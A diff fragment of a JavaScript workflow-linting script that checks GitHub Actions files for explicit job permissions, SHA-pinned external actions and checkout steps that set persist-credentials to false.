+      (line, candidate) =>
+        candidate > index && /^ {2}[A-Za-z0-9_-]+:\s*$/.test(line),
+    );
+    const jobLines = lines.slice(index + 1, end < 0 ? lines.length : end);
+    const hasJobPermissions = jobLines.some(
+      (line) =>
+        line === "    permissions:" || /^ {4}permissions:\s*\{/.test(line),
+    );
+    if (!hasWorkflowPermissions && !hasJobPermissions) {
+      errors.push(
+        `${filename}: job ${jobMatch[1]} has no explicit permissions`,
+      );
+    }
+  }
+
+  for (let index = 0; index < lines.length; index++) {
+    const usesMatch = lines[index].match(
+      /^\s*-?\s*uses:\s*([^\s#]+)(?:\s+#.*)?$/,
+    );
+    if (!usesMatch) continue;
+    const reference = usesMatch[1];
+    if (reference.startsWith("./")) continue;
+    if (!/^[^/@]+\/[^/@]+(?:\/[^@]+)?@[0-9a-f]{40}$/.test(reference)) {
+      errors.push(
+        `${filename}:${index + 1}: external action is not pinned to a full SHA: ${reference}`,
+      );
+    }
+
+    if (!reference.startsWith("actions/checkout@")) continue;
+    const stepIndent = indentation(lines[index]);
+    let end = index + 1;
+    while (
+      end < lines.length &&
+      (lines[end].trim() === "" || indentation(lines[end]) > stepIndent)
+    ) {
+      end++;
+    }
+    const checkoutStep = lines.slice(index + 1, end);
+    if (
+      !checkoutStep.some((line) =>
+        /^\s+persist-credentials:\s*false\s*$/.test(line),
+      )
+    ) {
+      errors.push(
+        `${filename}:${index + 1}: checkout must set persist-credentials: false`,
+      );
+    }
+  }
+}
+
+if (errors.length > 0) {
+  console.error(errors.join("\n"));
+  process.exitCode = 1;
+} else {
+  console.log(
+    `Checked ${workflowFiles.length} workflows: security policy passed`,
+  );
+}